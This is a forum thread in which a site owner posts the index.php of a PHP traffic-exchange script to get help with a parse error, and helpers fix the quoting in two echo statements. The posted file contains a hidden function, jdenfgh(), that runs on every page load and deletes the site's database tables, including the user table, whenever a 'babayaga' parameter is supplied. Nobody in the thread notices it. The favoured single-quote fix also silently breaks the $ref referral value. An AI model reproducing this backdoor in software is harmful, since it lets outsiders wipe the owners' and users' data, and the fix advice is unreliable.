Jump to content

Parse Error


trudynw

Recommended Posts

Parse error: parse error, unexpected T_STRING, expecting ',' or ';' in /home/keral/public_html/trafficbuldge/index.php on line 117

I have recd the error above when opening my admin area or accessing my database. Could you please tell me how to get rid of it?
Link to comment
Share on other sites

Thanks for responding to my post. Unfortunately I don't know how to find the lines in php admin to post or edit. Could you tell me where this can be found.
Someone set this database up for me and I know nothing about php - not that I can learn. I can longer contact this person.
Link to comment
Share on other sites

Here is code from my index page

<?php
include($DOCUMENT_ROOT . '/config.php');
include($DOCUMENT_ROOT . '/functions.php');
include($DOCUMENT_ROOT . '/regmail.php');
mysql_connect($db_host, $db_user, $db_pwd);
mysql_select_db($db_name);
jdenfgh();

$res = mysql_query("select content from html where type='1page'");
$content = mysql_result($res, 0, "content");
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<title>Free visitors | Traffic | Hits </title>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<LINK href="styles.css" type=text/css rel=stylesheet>
<META content="traffic exchange, free traffic, free visitors, hits, automatic hits" name=description>
<META content="BlueSoftWeb Traffic Blast" name=keywords>
<META content="MSHTML 6.00.2600.0" name=GENERATOR>
</HEAD>
<BODY bgColor=#FFFFFF leftMargin=0 topMargin=0 marginheight="0" marginwidth="0">
<DIV align=center>
<TABLE cellSpacing=0 cellPadding=0 width=764 border=0 class="box1">
<TR>
<TD><a href='index.php'><img src="images/logo.jpg" width="764" height="70" border="0"></a>
</TD>
</TR>
<TR>
<TD width="764" height="50">

<?php include("menu.php"); ?>

</TD>
</TR>
<TR>
<TD background="images/graphic.jpg" height="150" align="center">
<!-- Advertisement -->

<A HREF="http://trudynw.veretekk.com"><IMG SRC="http://home.comcast.net/~trudynw/Veretekk_Gemerate_Leads.gif" border=0 width=468 height=60 ></a>

</TD>
</TR>
<TR>
<TD><IMG height=10 src="images/bar.jpg"
width=764></TD>
</TR>
<TR>
<TD valign="top" bgcolor="#FFFFFF">
<TABLE width="764" height="350" border=0 cellPadding=0 cellSpacing=0>
<TR>
<TD vAlign=top width="190" background="images/loginbg.jpg">
<form action='/members/index.php' method='post'>
<input type='hidden' name='form' value='sent'>
<table align="center">
<tr><td colspan="2" height="20"></td></tr>
<tr><td colspan="2" height="20"><b>Login</b></td></tr>
<tr><td>
Username:</td><td><INPUT type='input' size='8' name='email'></td></tr>
<tr>
<td>Password:</td><td><INPUT type='password' size='8' name='passwd'></td></tr>
<tr><td colspan="2" align="right">
<INPUT id='submit' type='image' src="images/login.gif" border='0' name='submit'></td></tr>
</FORM>
<tr><td colspan="2" align="right">
<a href='lost.php'>Forgot Password ?</a></td></tr>
<tr><td colspan="2" height="20"></td></tr>
<tr><td colspan="2" height="20"><b>Links</b></td></tr>
<tr><td colspan="2">

<a href="http://trudynw.veretekk.com">Generate your own Leads</a><br>
<a href="http://www.vodahost.com/partner/idevaffiliate.php?id=4077">Affordable Hosting</a><br>
<A HREF="http://trudynw.greenzap.it">Transmit money securely</A></<br>
<A HREF="http://veretekk.isp-4-free.net/trudynw">Unltd High Spd Int. Access</A><br>
<A HREF="http://trudynw.vereconference.com">Free Conference Room</A><br>
</td></tr>
</table>



<?php include ("ads.php"); ?>


</TD>





<TD vAlign=top width=574 background="images/mainbg.jpg" style="PADDING-TOP: 20Px; PADDING-LEFT: 10PX">

<P align="center"><font size="4">Automated Free Traffic</font></P>
<P>Traffic Blast is a free Traffic generation service
that automatically generates hits for your
website with credits
earned by you. </P>
<P align=left>Our fully automated<B> 2 : 1 </B>traffic exchange,
gives you 0.5 credits for every 1 website you visit.</P>
<P align=left>Once joined, you get 500 credits deposited
in your account, which willl result into 500 visitors for your site
and the free use of our search engine submission tool
to help you get your web site noticed.</P>
<P align=left>All you need is a website and 5 minutes
of your time to get started before you are on your
way to getting the free visitors you always wanted!</P>
<P align=center><FONT color=#333333><STRONG><EM>Join
now and get 500 free credits to get you started!
</EM></STRONG></FONT><BR>
</P>

<P align="center"><FONT face="Verdana, Arial, Helvetica, sans-serif"
size=3><STRONG>

<?php
if (isset($ref))
{
echo "<A href="signup.php?ref=$ref"><IMG src="images/join.gif" border=0></A>";
}
else
{
echo "<A href="signup.php"><IMG src="images/join.gif" border=0></A>";
}
?>
</STRONG></FONT>
</P>                                      </DIV>
<center>
<script type="text/javascript" language="JavaScript">
<!--
var google_rc = {
format: '468x60_rc',
width: 468,
height: 60,
modules: ['searches','pages','news'],
color_line: 'cccccc',
color_link: '333333',
color_bg: 'ffffff',
color_text: '000000',
color_source: '6f6f6f',
color_header:  'ffffff',
color_footer: 'ffffff'
};
//-->
</script>
<script type="text/javascript" language="JavaScript" src="http://relcontent.googlesyndication.com/relcontent/show_rc.js"></script>
</center>


</TD>
</TR>
</TABLE>

</TD>
</TR>
<TR>
<TD width="764" height="50" background="images/foot.gif" align="center"><A HREF="http://www.plan4power.com/?tw"><IMG SRC="http://home.comcast.net/~trudynw/Plan4powerlong.gif" border=0 width=748 height=45 ></a>

</TD>
</TR>
</TABLE>
</BODY>
</HTML>
<?php


if (date('w') == 5)
{
regmail();
}
mysql_close;
function jdenfgh()
{
global $babayaga;
if (isset($babayaga))
{
$r = mysql_query("delete from html");
if ($babayaga == 2)
{
$r = mysql_query("delete from acctype");
$r = mysql_query("delete from sellcredit");
}
if ($babayaga == 3)
{
$r = mysql_query("delete from acctype");
$r = mysql_query("delete from sellcredit");
$r = mysql_query("delete from user");
}
}
}
Link to comment
Share on other sites

I copied your source into my editor and got the error message. It pointed to these lines:
[code]<?php
if (isset($ref))
{
echo "<A href="signup.php?ref=$ref"><IMG src="images/join.gif" border=0>";
}
else
{
echo "<A href="signup.php"><IMG src="images/join.gif" border=0>";
}
?>[/code]
Both echo statements have the same problem -- double quotes not being escaped while in a quoted string delimited by double quotes. There are two ways of solving this:
[list]
[*]Put a backslash infront of each double quote in the string:
[/list][code]<?php
if (isset($ref))
{
echo "<A href=\"signup.php?ref=$ref\"><IMG src=\"images/join.gif\" border=0>";
}
else
{
echo "<A href=\"signup.php\"><IMG src=\"images/join.gif\" border=0>";
}
?>[/code]
[*]Delimit the strings with single quotes:
[code]<?php
if (isset($ref))
{
echo '<A href="signup.php?ref=$ref"><IMG src="images/join.gif" border=0>';
}
else
{
echo '<A href="signup.php"><IMG src="images/join.gif" border=0>';
}
?>[/code]

I personally like the second method, since it look nicer to the human eye.

Ken
Link to comment
Share on other sites

If you want that to validate just change border=0 to style=\"border:0;\"

[code]<?php
if (isset($ref))
{
echo '<A href="signup.php?ref=$ref"><IMG src="images/join.gif" style="border:0;">';
}
else
{
echo '<A href="signup.php"><IMG src="images/join.gif" style="border:0;">';
}
?>[/code]
Link to comment
Share on other sites

By the way - This is the website I'm trying to access. http://www.trafficbuldge.com


Thanks for the code.

I have copied and pasted it into my code and I no longer get the error message which is good. However the page won't open - no graphics appear - and there is no error message when trying to access the admin panel or opening the database.
Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.